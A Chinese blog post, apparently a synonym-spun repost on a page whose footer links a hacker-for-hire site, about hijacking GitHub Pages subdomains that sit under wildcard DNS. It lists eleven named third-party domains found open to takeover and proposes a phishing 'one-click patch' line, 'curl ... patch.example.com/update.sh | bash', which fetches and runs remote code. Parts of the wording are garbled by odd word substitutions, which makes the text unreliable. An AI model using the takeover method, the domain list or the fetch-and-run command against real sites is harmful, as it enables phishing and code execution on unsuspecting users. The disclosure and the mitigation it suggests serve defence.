作为一个国内外项目都不怎样挖的我，比较喜爱拿自己正在运用的服务下手挖洞，究竟具有需求又了解事务才干长时间跟进，更好的去发现各种流程上呈现的缺点。
近来闲得无聊，看了看GitHub Pages服...
作为一个国内外项目都不怎样挖的我，比较喜爱拿自己正在运用的服务下手挖洞，究竟具有需求又了解事务才干长时间跟进，更好的去发现各种流程上呈现的缺点。
近来闲得无聊，看了看GitHub Pages服务的更新内容，能够支撑自定义域名SSL自动签证了？Emmm… 阔以阔以，blog能够回归保管到github了。
趁便计划给手上每个项目放个查看document的页面，而且别离分配独自的二级域名给每个项目，多咩高端，多咩大气！
可是这么多项目需求一个个增加域名真是好叽儿费事哦…
爽性泛解析到github page的服务器吧！之后就只需求在github里绑定域名，就不需求每个项目再去增加DNS解析了！
哎？泛解析到公共服务器？…
惯例“打野挖洞”的思路告诉我，这个单方面绑定域名的设置方法，必定要出点啥幺蛾子…
域名从DNS解析到服务器后端解析到特定项目，流程上或许会有安全问题
每个注册用户都能发布并保管page，这可控性有些广，或许此行能够GANK一波呢…
解析流程中的缺点
批量解析到公共服务器… 可是这个服务器每个人都能布置page… 是不是说…
我能够设置布置到他人的泛解析的域名下？以此绑架某个二级域名，试试用来垂钓github用户或许看文档的项目运用者呢？
假如某个用户像我所想运用了泛解析来批量给自己项目挂自定义域名，那实践流程会是这样的：
独自二级域名的解析流程： www.deepwn.com => GitHub Page:
而泛解析域名的解析流程 *.deepwn.com => GitHub Page:
如你所见，假如一个用户自定义域名被泛解析到了GitHub的服务器，当你查询DNS时分，任何二级都会指向GitHub，可是由于没有设置布置指向某个项目，所以会显现GitHub的404页面。
那么问题来了，一切用户都能给自己的项目设置布置，运用的是相同一组GitHub的服务器，而且服务器不会验证你是不是域名一切者，也毫无办法查询是否答应域名绑定到某个项目，所以说只要能找到一个用户设置心大的域名，就能开端绑架之旅了。
比方这个我挂的hijack_demo： http://hijack.michellerobinscreative.com
有多少域名被运用在项目Page上呢？
你能够搜一下，会发现炒鸡多的项目开通了Page，而且每天操作更新page的的频率极端高…
有多少域名能够被绑架呢？
仅仅获取了1天的数据量（700+），就发现了11个可悲的域名… 天呐撸…
2019-05-14 (day: 13–14)
androidx.de
bayes.dk
claudiuandrei.com
crunchbitcoin.com
eskont.ponomarevlad.ru
fwb.app
goldtum.com
hijack.michellerobinscreative.com (这个是我demo用的)
lit.max.pub
paulispace.com
sumit.app
valuate.app
个人主张
GitHub在用户设置域名的时分会查看DNS设置，假如解析过错或许解析有问题将会在设置页面增加提示。
那么为什么不增加个查看功用，让用户“双向验证”自己运用的域名呢？
就像某些能绑定自定义域名的Mail公共服务相同，让用户增加一条’TXT’解析来验证这个域名只能绑定到某个用户群。这样不就能防止被绑架，进行双向设置嘛？
熊怼面临现实吧
这个问题我早现已发到“GitHub Security Bug Bounty”，可是由于超出项目承受的规模，或许这个设置项的”BUG”并不会有修正改变。
或许会在之后GitHub更新中才会呈现缓解办法，所以我写下此文也仅仅想戒备各位GitHub用户需求自动去面临和进行查看。
所以，在没有增加相似的溯源查看服务之前，请必须留意自己的解析设定防止被绑架垂钓的费事。
PS: 如果被绑架，用来垂钓你的GitHub账号？再或许绑架你的某二级域名，克隆你项目的document页面，挂上一个歹意的“晋级装备脚本”，再给运用你开源项目的用户发送垂钓的晋级页面或许补丁地址？在或许爽性发送个垂钓的“一键补丁”curl -sLhttp://patch.example.com/update.sh | bash
其实从社工视点，可操作的规模还挺广，如果方针项目有泛解析问题，本钱低到开个新repo就行。
咱们能够看到help页面现已增加了关于这个问题的正告，但问题是有多少人会看到和留意到这条内容呢？真是为难的处理方法…
[1] [2] 黑客接单网
内容来源网络，如有侵权，联系删除，本文地址：https://www.230890.com/zhan/8262.html
